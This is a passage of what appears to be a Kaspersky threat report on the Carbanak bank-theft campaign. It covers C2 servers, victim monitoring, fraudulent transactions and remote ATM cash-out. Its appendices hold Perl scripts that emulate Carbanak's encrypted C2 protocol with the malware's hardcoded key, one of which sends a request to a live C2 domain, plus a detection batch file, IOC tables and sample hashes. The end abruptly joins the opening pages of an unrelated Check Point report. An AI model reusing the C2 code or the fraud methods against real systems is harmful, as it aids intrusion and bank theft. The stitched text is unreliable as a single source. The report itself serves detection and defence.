contact intelreports@kaspersky.com It is also very interesting to see the distribution of Carbanak submissions to VirusTotal. This way we can identify periods when the malware came to the attention of potential victims and security researchers, and helps to reveal peaks in the group s activity: Figure 8. Distribution of Carbanak submissions to VirusTotal Since the beginning of this case, Kaspersky Lab has worked in cooperation with the LEAs investigating it. During the investigation LEAs shared with us statistical data from their research that helped us to complete our picture of the campaign. TLP: White For any inquiries, please contact intelreports@kaspersky.com The following map shows targets IP addresses found in three of Carbanak Linux servers at the end of October 2014: Figure 9. Geographical distribution of targets according to C2 data TLP: White For any inquiries, please contact intelreports@kaspersky.com Figure 10. Geographical distribution of victims according to C2 data 2.3 Lateral movement tools Carbanak uses different tools on infected systems, each one with a different purpose. There appears to be a preference for the Ammyy Admin remote administration tool for remote control. Specifically, the attackers have been detected uploading: Ammyy Admin 3.5 (f8cd52b70a11a1fb3f29c6f89ff971ec) as svchost.exe It is believed that the attackers used this remote administration tool because it is commonly whitelisted in the victims environments as a result of being used regularly by administrators. In another instance, a Secure Shell (SSH) backdoor was used to communicate with the C2 server in 190.97.165.126 (operatemesscont.net). This indicates that the attackers did not limit themselves to Microsoft Windows environments. In this case, the victim used the Telnet/SSH client PuTTY to connect to the server, and the attackers recompiled the machine s SSH daemon with a backdoor so they could gain direct access. Logs for these tools indicate that they were accessed from two different IPs, probably used by the attackers, and located in Ukraine and France. We have also found traces of many different tools used by the attackers inside the victim s network to gain control of additional systems, such as Metasploit, PsExec or Mimikatz. TLP: White For any inquiries, please contact intelreports@kaspersky.com 2.4 Command and Control (C2) Servers There appear to be four distinct types of C2 servers: Linux servers used for issuing commands to deployed Carbanak instances and for receiving collected monitoring data; Windows servers used for remote connections to victim systems; Backup servers; and Drop servers where additional executable files (e.g. remote administration tools) are hosted. Server rotation occurs more or less on a biweekly basis. For a complete list of identified Carbanak servers please check the regularly updated Carbanak IOC document. The current list of IOCs is provided at Appendix 3 in his document. Some of these C2 servers are responsible for dropping Ammyy (configuration and executable files), the KLG plugin configuration (list of processes to monitor) and the VNC server (both 32 and 64 bits to be injected in rundll). In one of the observed servers there was also a Metasploit module. Figure 11. Carbanak administration panel running in Linux TLP: White For any inquiries, please contact intelreports@kaspersky.com Figure 12. Carbanak administration panel running in Linux, list of plugins Figure 13. Carbanak administration panel running in Windows able to run RDP, VNC, proxy and tunnels via Carbanak Victim systems are catalogued in the servers databases. The victims belong to a number of different communities, thus simplifying administration. In all, 85 different victims belonging to seven communities were found. TLP: White For any inquiries, please contact intelreports@kaspersky.com Attacker s operational details Additionally, the malicious servers contain video files that capture a victim activity. While the videos are stored using a compressed format which provides poor image quality, the selected format minimizes upload bandwith and is of sufficient quality for the attackers to understand the victims activities. The video file naming conventions used the name of the application in the foreground (e.g., Outlook, Cmd, etc.) and only recorded user activity. This helped the attackers to both navigate to files of interest and to discard superfluous files. Figure 14. Special video player designed to watch Carbanak s video stream Using the intelligence gained from video and other monitoring techniques, the attackers developed an operational picture of the victim's workflow, tooling and practices. This picture helps the attackers to deploy their malicious operations, for example: Attackers created fake transactions in the victim s internal database after the verification process, thus avoiding discovery of the fraudulent activity; Attackers used the victim s internal command utilities to insert fraudulent operations in the transaction queue. In general, the attackers demonstrated great versatility, using attack methodologies best suited to a specific victim s operational methodology. However, they seemed to deliberately limit the amount of money stolen per victim to $10 million USD. This limit may be explained as the maximum amount TLP: White For any inquiries, please contact intelreports@kaspersky.com of money that can be transferred via mule services, or the maximum amount of money that is budgeted in banks for fraud risks in order to minimize the chances of LEAs and the bank s anti-fraud teams from doing a full blown analysis. Figure 15. List of PIN KVC used on ATMs Sensitive bank documents have be found on the servers that were controlling Carbanak. They included classified emails, manuals, crypto keys, passwords and so on. For example, the file in the above figure has KVC (key verification codes) keys that are used by ATMs to check the integrity of the PIN numbers of its users. In other cases involving ATMs, the criminals were able to control computers that had access to the internal ATM network. If the bank had enabled remote access to ATMs, the criminals started using this access to remotely withdraw cash. Criminals used no malware to operate the ATM dispenser; instead they used standard utilities to control and test ATM equipment. TLP: White For any inquiries, please contact intelreports@kaspersky.com 3. Conclusions Malware targeting the finance industry (both companies and consumers) continues to evolve. The Carbanak malware used in the on-going campaign described in this report has been very successful in terms of generating revenue. Of particular interest are the attack methods, similar to those used in sophisticated cyber-espionage APTs. As such, they represent a new and disturbing trend in the cybercrime market of increasing attack sophistication. Despite increased awareness of cybercrime within the financial services sector, it appears that spear phishing attacks and old exploits (for which patches have been disseminated) remain effective against larger companies. Attackers always use this minimal effort approach in order to bypass a victim s defenses. Advanced control and fraud detection systems have been used for years by the financial services industry. However, these focus on fraudulent transactions within customer accounts. The Carbanak attackers bypassed these protections, by for example, using the industry-wide funds transfer (the SWIFT network), updating balances of account holders and using disbursement mechanisms (the ATM network). In neither of these cases did the attackers exploit a vulnerability within the service. Instead, they studied the victim s internal procedures and pinpointed who they should impersonate locally in order to process fraudulent transactions through the aforementioned services. It is clear that the attackers were very familiar with financial services software and networks. As part of an automated reconnaissance phase, the Carbanak malware checked victim systems for the presence of specialized and specific banking software. Only after the presence of banking systems was confirmed, were victims further exploited. To date, attacks against approximately 300 IP addresses around the world have been observed on analyzed C2s. It is possible that these attacks were coordinated to maximize returns prior to industry-wide information sharing and the implementation of countermeasures. Existing telemetry indicates that the Carbanak attackers are trying to expand operations to other Baltic and Central Europe countries, the Middle East, Asia and Africa. Carbanak may be responsible for losses as high as $1 billion USD. We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers. APTs are not only for stealing information anymore. TLP: White For any inquiries, please contact intelreports@kaspersky.com APPENDIX 1: C2 protocol decoders Decryptor #!/usr/bin/perl -w #Work with Carbanak c2 use strict; use warnings; use Crypt::CBC; use Crypt::Cipher::RC2; use MIME::Base64; use LWP::Simple; #my $c2 = "worldnewsonline.pw"; #my $reguest = "1234567890123456"; my $reguest_was = "JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7m8a19tz QwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKf MjpWBM18eX8VUiimyaUZMGoClZ6eShS9tLCK tuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4V fyUz.shtml"; $reguest_was =~ tr/\/\=\&\?//d; my $replace = ""; my $find=".shtml"; $reguest_was =~ s/\Q$find\E//g; $reguest_was =~ s/-/+/g; $reguest_was =~ s/\./\//g; print "$reguest_was\n"; my $iv = substr $reguest_was,0,8; $reguest_was = substr $reguest_was,8; my $base64_decoded1 = decode_base64("$reguest_was"); print "$base64_decoded1\n"; my $length = length($base64_decoded1); print "length is: $length\n"; print "iv is: $iv\n"; print "req is: $reguest_was\n"; my $base64_decoded = "${base64_decoded1}"; my $key = "vfDGbiwmiqdN6E2N"; #my $key = "1234567812345678"; my $cipher = Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none', -literal_key=>1, -key=>$key, keysize=>16, -iv=>$iv ); my $plaintext = $cipher->decrypt($base64_decoded); print "Decode:\ n$plaintext\n"; #Decrypt is #HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data=listprocess|pro cess=svchost.exe|idproce ss=4294967295|lBHReFDRDfYG #my $url = "http://$c2/$base64_encoded"; #print $url; #my $contents = get($url); #print $contents; TLP: White For any inquiries, please contact intelreports@kaspersky.com Encryptor #!/usr/bin/perl -w #Decrypt Carbanak c2 responce use strict; use warnings; use Crypt::CBC; use Crypt::Cipher::RC2; use MIME::Base64; use LWP::Simple; my $c2 = "worldnewsonline.pw"; my $reguest = "HWUMRbvuwKQCrkOhuckIXpdFgtd|new0878802c8004333a3|data=listprocess|pro cess=svchost.exe|idproces s=4294967295|lBHReFDRDfYG"; my $iv = "JybDHkfW"; #should be random my $key = "vfDGbiwmiqdN6E2N"; my $cipher = Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none', -literal_key=>1, -key=>$key, keysize=>16, -iv=>$iv ); my $ciphertext = $cipher->encrypt($reguest); my $base64_encoded = encode_base64("$ciphertext"); $base64_encoded =~ s/\x0a//g; $base64_encoded =~ s/\//\./g; $base64_encoded =~ s/\+/-/g; my $base64_encoded_ex = "${iv}${base64_encoded}.php"; my $url = "http://$c2/${base64_encoded_ex}"; print $url; #http://worldnewsonline.pw/ GURJPuWeUpPMXca9BThbDim0Hdk9YzkJS7m8a19tzQwZxo1vvQr7SHJcCm4tdp ZGp. dmDwKfMjpW.BM18eX8VUiimyaUZMGoClZ6eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHG ZCBPj.vd08D UENC5o.AE4VfyUz..php| my $contents = get($url); print $contents; TLP: White For any inquiries, please contact intelreports@kaspersky.com Decrypt Files from CnC #!/usr/bin/perl -w #Decrypt Files from sended from c2 use strict; use warnings; use Crypt::CBC; use Crypt::Cipher::RC2; use MIME::Base64; use LWP::Simple; my $file=$ARGV[0]; open(DATA, "<$file"); open(DATA1, "<$file"); open(DATA2, "<$file"); binmode(DATA); binmode(DATA1); binmode(DATA2); my ($data, $n, $offset); while (($n = read DATA, $data, 1, $offset) != 0) { $offset += $n; } my $length = $offset; my $iv_len = read DATA1, my $iv, 8, 0; read DATA2, my $crypt_data, $length, 8; my $key = "vfDGbiwmiqdN6E2N"; my $cipher = Crypt::CBC->new( -cipher=>'Cipher::RC2', -header=>'none', -literal_key=>1, -key=>$key, keysize=>16, -iv=>$iv ); my $plaintext = $cipher->decrypt($crypt_data); print "$plaintext"; TLP: White For any inquiries, please contact intelreports@kaspersky.com APPENDIX 2: BAT file to detect infection @echo off for /f %%a in ('hostname') do set "name=%%a" echo %name% del /f %name%.log 2> nul if exist "c:\Documents and settings\All users\application data\ mozilla\*.bin" echo "BIN detected" >> %name%.log if exist %SYSTEMROOT%\System32\com\svchost.exe echo "COM detected" >> %name%.log if exist "c:\ProgramData\mozilla\*.bin" echo "BIN2 detected" >> %name%.log if exist %SYSTEMROOT%\paexec* echo "Paexec detected" >> %name%.log if exist %SYSTEMROOT%\Syswow64\com\svchost.exe echo "COM64 detected" >> %name%.log SC QUERY state= all | find "SERVICE_NAME" | findstr "Sys$" if q%ERRORLEVEL% == q0 SC QUERY state= all | find "SERVICE_NAME" | findstr "Sys$" >> %name%.log if not exist %name%.log echo Ok > %name%.log xcopy /y %name%.log "\\\logVirus TLP: White For any inquiries, please contact intelreports@kaspersky.com APPENDIX 3: IOC hosts IP/Domain name First seen in Source: Sample md5/Detection name/ System Type Comment 108.61.197.254 2014-07 Carbanak Linux CnC 1046652E0AAA682F89068731FA5E8E50 112.78.3.142 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 118.163.216.107 2014-10 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 131.72.138.18 2014-11 Carbanak Linux CnC Internet scan 141.60.162.150 2014-10 Related to Carbanak Victim's logs 146.185.220.200 2014-08 Carbanak Linux CnC Victim's logs 162.221.183.109 2014-12 Carbanak Windows backconnect 1684a5eafd51852c43b4bca48b58980f 162.221.183.11 2014-12 Carbanak Windows backconnect 1684a5eafd51852c43b4bca48b58980f 173.201.45.158 2014-10 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 173.237.187.203 2014-08 RedKit ExploitKit Victim's logs Exploits drop zone that used to install Carbanak 174.143.147.168 2014-10 Related to Carbanak 185.10.56.59 2014-08 Carbanak Windows backconnect CnC of other malware used after Carbanak's infection CnC of other malware used to install Carbanak 551d41e2a4dd1497b3b27a91922d29cc 185.10.56.59:443 2014-07 Carbanak Windows backconnect 4afafa81731f8f02ba1b58073b47abdf 185.10.58.175 2014-07 Carbanak Linux CnC 4afafa81731f8f02ba1b58073b47abdf IP of financialnewsonline. 188.138.16.214 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 188.138.98.105 2014-10 Carbanak Windows backconnect 0AD4892EAD67E65EC3DD4C978FCE7D92 TLP: White For any inquiries, please contact intelreports@kaspersky.com IP/Domain name First seen in Source: Sample md5/Detection name/ System Type Comment 188.40.224.76 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 190.97.165.126 2014-08 Related to Carbanak Victim's logs Ip of SSHD backdoor installed after Carbanak's infection 194.44.218.102 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 195.113.26.195 2014-11 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 198.101.229.24 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 199.255.116.12 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 199.79.62.69 2014-07 Related to Carbanak Victim's logs Exploits used to install Carbanak 204.227.182.242 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 208.109.248.146 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 209.222.30.5 2014-07 Carbanak Windows backconnect 1046652E0AAA682F89068731FA5E8E50 216.170.117.7 2015-02 Carbanak Linux Cnc 6ae1bb06d10f253116925371c8e3e74b 216.170.117.88 2015-02 Carbanak Linux CnC 217.172.183.184 2014-10 Related to Carbanak Victim's logs 217.172.186.179 2014-10 Carbanak Linux CnC Victim's logs 218.76.220.106 2014-10 Related to Carbanak Victim's logs 31.131.17.79 2014-09 Carbanak plugin CnC Victim's logs 31.131.17.81 2014-09 Carbanak plugin CnC Victim's logs 32dsffds8743jsdf. 2014-10 Carbanak Linux CnC TLP: White CnC of other malware used after Carbanak's infection CnC of other malware used to install Carbanak CnC of other malware used after Carbanak's infection 08f83d98b18d3dff16c35a20e24ed49a For any inquiries, please contact intelreports@kaspersky.com IP/Domain name First seen in Source: Sample md5/Detection name/ System Type Comment 37.235.54.48 2014-10 Related to Carbanak Victim's logs 37.46.114.148 2014-10 Carbanak Linux CnC Victim's logs 37.59.202.124 2014-12 Carbanak Linux CnC Internet scan 5.101.146.184 2014-10 Carbanak Linux CnC Victim's logs 5.135.111.89 2015-02 Carbanak Windows backconnect 100d516821d99b09718b362d5a4b9a2f 5.61.32.118 2014-10 Carbanak Windows backconnect 972092CBE7791D27FC9FF6E9ACC12CC3 5.61.38.52 2014-10 Carbanak Windows backconnect 08f83d98b18d3dff16c35a20e24ed49a 50.115.127.36 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 50.115.127.37 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 55.198.6.56 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 61.7.219.61 2014-10 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 62.75.224.229 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 66.55.133.86 2014-10 Carbanak Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 67.103.159.140 2014-08 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 69.64.48.125 2014-10 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 74.208.170.163 2014-10 Related to Carbanak Victim's logs Used by criminals to control infected machines 78.129.184.4 2014-10 Related to Carbanak Victim's logs Used by criminals to control infected machines TLP: White CnC of other malware used after Carbanak's infection For any inquiries, please contact intelreports@kaspersky.com IP/Domain name First seen in Source: Sample md5/Detection name/ System Type Comment 79.99.6.187 2014-08 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 81.4.110.128 2014-08 Related to Carbanak Victim's logs Used by criyminals to control infected machines 83.16.41.202 2014-10 Related to Carbanak Victim's logs Used by criminals to control infected machines 83.166.234.250 2014-10 Carbanak Windows backconnect F66992766D8F9204551B3C42336B4F6D 83.246.67.58 2014-10 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak 85.25.117.154 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 85.25.20.109 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 85.25.207.212 2014-10 Related to Carbanak Victim's logs Used by criminals to control infected machines 87.106.8.177 2014-10 Related to Carbanak Victim's logs Exploits used to install Carbanak 87.98.153.34 2014-10 Related to Carbanak Victim's logs Used by criminals to control infected machines 88.198.184.241 2014-12 Carbanak Windows backconnect 6AE1BB06D10F253116925371C8E3E74B 91.194.254.38 2014-07 Carbanak Linux CnC 446c75b77836b776ec3f502fce48b014 91.194.254.90 2014-09 Carbanak Linux CnC Victim's logs 91.194.254.91 2014-09 Carbanak Linux CnC Victim's logs 91.194.254.92 2014-07 Carbanak Linux CnC Internet scan 91.194.254.93 2014-07 Carbanak Linux CnC Internet scan 91.194.254.94 2014-07 Carbanak Linux CnC Internet scan 91.194.254.98 2014-07 Carbanak Linux CnC Internet scan TLP: White For any inquiries, please contact intelreports@kaspersky.com IP/Domain name First seen in Source: Sample md5/Detection name/ System Type Comment 93.95.102.109 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 93.95.99.232 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 94.247.178.230 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection 95.0.250.113 2014-10 Related to Carbanak Victim's logs CnC of other malware used after Carbanak's infection adguard.name 2014-07 Carbanak Linux CnC Victim's logs beefeewhewhush- 2014-07 Andromeda's Victim's logs eelu.biz blizko.net 2014-07 Carbanak Linux CnC Victim's logs comixed.org 2014-12 Carbanak Linux CnC 1684a5eafd51852c43b4bca48b58980f coral-trevel.com 2014-07 Carbanak Linux CnC Internet scan datsun-auto.com 2014-04 Carbanak Linux CnC cb915d1bd7f21b29edc179092e967331 di-led.com 2014-07 Carbanak Linux CnC 446c75b77836b776ec3f502fce48b014 financialnewsonline.pw 2014-07 Carbanak Linux CnC 4afafa81731f8f02ba1b58073b47abdf financialwiki.pw 2014-07 Carbanak Linux CnC 4afafa81731f8f02ba1b58073b47abdf flowindaho.info 2014-07 Carbanak Linux CnC reverse IP 91.194.254.93 freemsk-dns.com 2014-08 Carbanak Linux CnC reverse IP 146.185.220.200 CnC of other malware used to install Carbanak gjhhghjg6798.com 2014-10 Carbanak Linux CnC 972092CBE7791D27FC9FF6E9ACC12CC3 glonass-map.com 2014-12 Carbanak Linux CnC 6AE1BB06D10F253116925371C8E3E74B great-codes.com 2014-10 Carbanak Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 icafyfootsinso.ru 2014-08 Related to Carbanak Victim's logs Used by criminals to control infected machines idedroatyxoaxi.ru 2014-08 Related to Carbanak Victim's logs CnC of other malware used to install Carbanak TLP: White For any inquiries, please contact intelreports@kaspersky.com IP/Domain name ivaserivaseeer.biz First seen in Source: Sample md5/Detection name/ System Type 2014-08 Related to Carbanak Victim's logs microloule461soft- 2014-10 Carbanak c1pol361.com Linux CnC F66992766D8F9204551B3C42336B4F6D microsoftc1pol361. 2014-10 Carbanak Linux CnC F66992766D8F9204551B3C42336B4F6D mind-finder.com 2014-07 Carbanak Linux CnC 0AD4892EAD67E65EC3DD4C978FCE7D92 operatemesscont. 2014-08 Connect to Victim's logs infected sshd paradise-plaza.com 2014-07 Carbanak Linux CnC Internet scan public-dns.us 2014-08 Carbanak Linux CnC reverse IP 146.185.220.200 publics-dns.com 2014-07 Carbanak Linux CnC Internet scan systemsvc.net 2014-11 Carbanak Linux CnC reverse IP 131.72.138.18 system-svc.net 2014-11 Carbanak Linux CnC reverse IP 131.72.138.18 traider-pro.com 2014-12 Carbanak Linux CnC reverse IP 91.194.254.94 travel-maps.info 2014-07 Carbanak Linux CnC reverse IP 91.194.254.38 update-java.net 2014-08 Carbanak Linux CnC reverse IP 146.185.220.200 veslike.com 2014-07 Carbanak Linux CnC Internet scan wefwe3223wfdsf. 2014-10 Carbanak Linux CnC 08f83d98b18d3dff16c35a20e24ed49a worldnews24.pw 2014-08 Carbanak Linux CnC 551d41e2a4dd1497b3b27a91922d29cc worldnewsonline.pw 2014-08 Carbanak Linux CnC 551d41e2a4dd1497b3b27a91922d29cc TLP: White Comment CnC of other malware used to install Carbanak Used by criminals to control infected machines For any inquiries, please contact intelreports@kaspersky.com APPENDIX 4: Spear phishing This section contains details on spear phishing emails sent by the attackers to infect victims. MD5: Name of attachment: Drops executable: MD5: Compiled 8fa296efaf87ff4d9179283d42372c52 115 24.06.2014 .doc a1979aa159e0c54212122fd8acb24383 Mon Apr 04 20:00:57 2011 update- java.net 1234567812345678 37.235.54.48:443 (Carbanak) (Probably fake) MD5: 665b6cb31d962aefa3037b5849889e06 Name of attachment: .doc Drops executable: MD5: 4afafa81731f8f02ba1b58073b47abdf (Carbanak) Compiled Tue Jul 01 03:20:06 2014 Connects to: financialnewsonline.pw/FYocDxXpn5MXsHwZX/kLUAbd3w2/uUTsarcVKYk2W3B6hnc Z/Gafh8U1W805Lo0N/np7E3ICR6qx8keLDJZqUGXJKBDzfc6VYz9TNIlktObQ.htm (185.10.58.175) financialnewsonline.pw, financialwiki.pw TXeyuryWcIuzxkWnyu 185.10.56.59:443 MD5: 2c395f211db2d02cb544448729d0f081 Name of attachment: new.doc Drops executable: MD5: 551d41e2a4dd1497b3b27a91922d29cc (Carbanak) Compiled Mon Aug 04 01:10:40 2014 Connects to: http://worldnewsonline.pw/JybDHkfWGURJPuWeUpPMX/ca9BThbDim0Hdk/9YzkJS7 m8a19tzQwZxo1vvQ/r/7SHJcCm4tdpZGp.dmDwKfMjpWBM18eX8VUiimyaUZMGoClZ6 eShS9tLCKtuHvlMQ3Dc26y90FbPIua.7LGHGZCBPj.vd08DUENC5oAE4VfyUz.shtml worldnewsonline.pw, worldnews24.pw JDvkyfhZxkMmDSwUkqvReIvC 185.10.56.59:443 MD5: Name of attachment: Drops executable: MD5: 31e16189e9218cb131fdb13e75d0a94f .doc TLP: White For any inquiries, please contact intelreports@kaspersky.com 4e107d20832fff89a41f04c4dff1739b public- dns.us 1234567812345678 37.235.54.48:443 (Carbanak) MD5: db83e301564ff613dd1ca23c30a387f0 Name of attachment: 115 21.07.2014 .doc Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Compiled Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzF=tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD- Ucygbtzv4=f8fx MD5: Name of attachment: Drops executable: MD5: Compiled f88a983fc0ef5bb446ae63250e7236dd .msg 3dc8c4af51c8c367fbe7c7feef4f6744 Fri Aug 08 00:48:07 2014 worldnewsonline.pw, worldnews24.pw vfDGbiwmiqdN6E2N 185.10.56.59:443 (Carbanak) MD5: c4a6a111a070856c49905d815f87ab49 Name of attachment: Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Connects to: /cBAWFvkXi94QxShRTaVVn/YzAxD/X0sZEud.5gNItbvozI3tqT5ly9UYLVii13.bml?tlxCFi Busj=2OVj&9GP=a5houGz&K.F=T&l0.7FBN75=nMPDrlGXq4s7cIAQ0Cl662IwVjxvsiTOlG 0d0pd HTTP/1.1 Host: datsun- auto.com MD5: Name of attachment: Drops executable: MD5: Compiled 86e48a9be62494bffb3b8e5ecb4a0310 .doc 3dc8c4af51c8c367fbe7c7feef4f6744 Fri Aug 08 00:48:07 2014 (Carbanak) MD5: 6c7ac8dfd7bc5c2bb1a6d7aec488c298 Name of attachment: 115 02.07.2014 ..doc, Drops executable: MD5: cb915d1bd7f21b29edc179092e967331 (Carbanak) Compiled Tue Apr 08 05:44:12 2014 Connects to: datsun- auto.com/bDqxEs/Ta6IPJq3zqmRY- .5/8SgGLA- F/I9CstBYT1rK7kx.440Sbtru.cgi?QVzF=tNM2gdtMLscx5bB4uryjM&PfpxBukmcOaD- Ucygbtzv4=f8fx TLP: White For any inquiries, please contact intelreports@kaspersky.com APPENDIX 5: MD5 hashes of Carbanak samples 0022c1fe1d6b036de2a08d50ac5446a5 0155738045b331f44d300f4a7d08cf21 0275585c3b871405dd299d458724db3d 0ad4892ead67e65ec3dd4c978fce7d92 0ad6da9e62a2c985156a9c53f8494171 1046652e0aaa682f89068731fa5e8e50 10e0699f20e31e89c3becfd8bf24cb4c 1300432e537e7ba07840adecf38e543b 15a4eb525072642bb43f3c188a7c3504 16cda323189d8eba4248c0a2f5ad0d8f 1713e551b8118e45d6ea3f05ec1be529 1a4635564172393ae9f43eab85652ba5 1b9b9c8db7735f1793f981d0be556d88 1d1ed892f62559c3f8234c287cb3437c 1e127b92f7102fbd7fa5375e4e5c67d1 1e47e12d11580e935878b0ed78d2294f 1f43a8803498482d360befc6dfab4218 1fd4a01932df638a8c761abacffa0207 20f8e962b2b63170b228ccaff51aeb7d 26d6bb7a4e84bec672fc461487344829 2908afb4de41c64a45e1eb2503169108 2c6112e1e60f083467dc159ffb1ceb6d 2cba1a82a78f4dcbad1087c1b71588c9 2e2aa05a217aacf3105b4ba2288ad475 36cdf98bc79b6997dd4e3a6bed035dca 36dfd1f3bc58401f7d8b56af682f2c38 39012fb6f3a93897f6c5edb1a57f76a0 3dc8c4af51c8c367fbe7c7feef4f6744 407795b49789c2f9ca6eca1fbab3c73e 45691956a1ba4a8ecc912aeb9f1f0612 4afafa81731f8f02ba1b58073b47abdf 4e107d20832fff89a41f04c4dff1739b 4f16b33c074f1c31d26d193ec74aaa56 50f70e18fe0dedabefe9bf7679b6d56c 5443b81fbb439972de9e45d801ce907a 55040dd42ccf19b5af7802cba91dbd7f 551d41e2a4dd1497b3b27a91922d29cc 56bfe560518896b0535e0e4da44266d6 5aeecb78181f95829b6eeeefb2ce4975 5da203fa799d79ed5dde485c1ed6ba76 608bdeb4ce66c96b7a9289f8cf57ce02 6163103103cdacdc2770bd8e9081cfb4 629f0657e70901e3134dcae2e2027396 TLP: White 643c0b9904b32004465b95321bb525eb 6e564dadc344cd2d55374dbb00646d1b 735ff7defe0aaa24e13b6795b8e85539 751d2771af1694c0d5db9d894bd134ca 763b335abecbd3d9a6d923a13d6c2519 763e07083887ecb83a87c24542d70dc5 7b30231709f1ac69e4c9db584be692f0 7d0bbdda98f44a5b73200a2c157077df 7e3253abefa52aeae9b0451cfb273690 874058e8d8582bf85c115ce319c5b0af 88c0af9266679e655298ce19e231dff1 8ace0c156eb6f1548b96c593a15cbb25 933ab95dbf7eb0e9d9470a9272bfaff3 93e44ecfcffdbb1f7f3119251ddb7670 972092cbe7791d27fc9ff6e9acc12cc3 9865bb3b4e7112ec9269a98e029cf5cb 9ad8c68b478e9030859d8395d3fdb870 9f455f0efe8c5ff69adcc456dcf00da6 a1979aa159e0c54212122fd8acb24383 a4bfd2cfbb235d869d87f5485853edae a8dc8985226b7b2c468bb82bad3e4d76 aa55dedff7f5dbe2cc4a47f2f8d44f94 ac5d3fc9da12255759a4a7e4eb3d63e7 acb01930466438d3ee981cb4fc57e196 acb4c5e2f92c84df15faa4846f17ff4e b2e6d273a9b32739c9a26f267ab7d198 b328a01f5b82830cc250e0e429fca69f b400bb2a2f9f0ce176368dc709359d3d b6c08d0db4ca1d9e16f3e164745810ff b79f7d41e30cf7d69a4d5d19dda8942e bddbb91388dd2c01068cde88a5fb939e c179ad6f118c97d3db5e04308d48f89e c1b48ca3066214a8ec988757cc3022b3 c2472adbc1f251acf26b6deb8e7a174b c687867e2c92448992c0fd00a2468752 c77331b822ca5b78c31b637984eda029 cb915d1bd7f21b29edc179092e967331 cc294f8727addc5d363bb23e10be4af2 d943ccb4a3c802d304ac29df259d14f2 db3e8d46587d86519f46f912700372e0 dbd7d010c4657b94f49ca85e4ff88790 e06a0257449fa8dc4ab8ccb6fbf2c50b e613e5252a7172329ee25525758180a4 For any inquiries, please contact intelreports@kaspersky.com e742242f28842480e5c2b3357b7fd6ab e938f73a10e3d2afbd77dd8ecb3a3854 eaee5bf17195a03d6bf7189965ee1bdb ef8e417e5adb2366a3279d6680c3b979 f4eddae1c0b40bfedeb89e814a2267a5 f66992766d8f9204551b3c42336b4f6d fad3a7ea0a0c6cb8e20e43667f560d7f fbc310a9c431577f3489237d48763eea ff7fd55796fa66c8245c0b90157c57c7 100d516821d99b09718b362d5a4b9a2f 6ae1bb06d10f253116925371c8e3e74b 72eff79f772b4c910259e3716f1acf49 85a26581f9aadeaa6415c01de60f932d 9ad6e0db5e2f6b59f14dd55ded057b69 a70fea1e6eaa77bdfa07848712efa259 be935b4b3c620558422093d643e2edfe c70cce41ef0e4a206b5b48fa2d460ba4 41fb85acedc691bc6033fa2c4cf6a0bc 1684a5eafd51852c43b4bca48b58980f 08f83d98b18d3dff16c35a20e24ed49a TLP: White For any inquiries, please contact intelreports@kaspersky.com Academy Business Eugene SecureList ThreatPost Daily Securelist, the resource for Kaspersky Lab experts technical research, analysis, and thoughts. Follow us Kaspersky Lab global Website Academy Business Eugene ThreatPost Daily Eugene Kaspersky Blog Daily Kaspersky Lab B2C Blog Business Daily Kaspersky Lab B2B Blog Academy Business ThreatPost Daily Kaspersky Lab security news service Academy Business Daily Kaspersky Lab Academy TLP: White For any inquiries, please contact intelreports@kaspersky.com Kaspersky Lab HQ 39A/3 Leningradskoe Shosse Moscow, 125212 Russian Federation more contact details Tel: +7-495-797-8700 Fax: +7-495-797-8709 ROCKE T KIT TEN: A CAMPAIGN WITH 9 LIVES T HR E AT IN T E L L I G E N C E A ND R E S E A R C H CHECK POINT SOFTWARE TECHNOLOGIES TA BL E O F CO N TE N TS EXECUTIVE SUMMARY........................................................................................ 03 INVESTIGATION TIMELINE REVIEW.................................................................... 04 ROCKET KITTEN TOOLS & INFRASTRUCTURE.................................................. 09 GEFILTE PHISH BEST SERVED COLD............................................................... 11 WOOLGERED HOISTED BY THEIR OWN PETARD............................................. 18 REELED IN PHISHING LOGS ANALYSIS........................................................... 25 EPILOGUE............................................................................................................ 27 APPENDIX A INDICATORS OF COMPROMISE................................................... 28 APPENDIX B MPK TECHNICAL 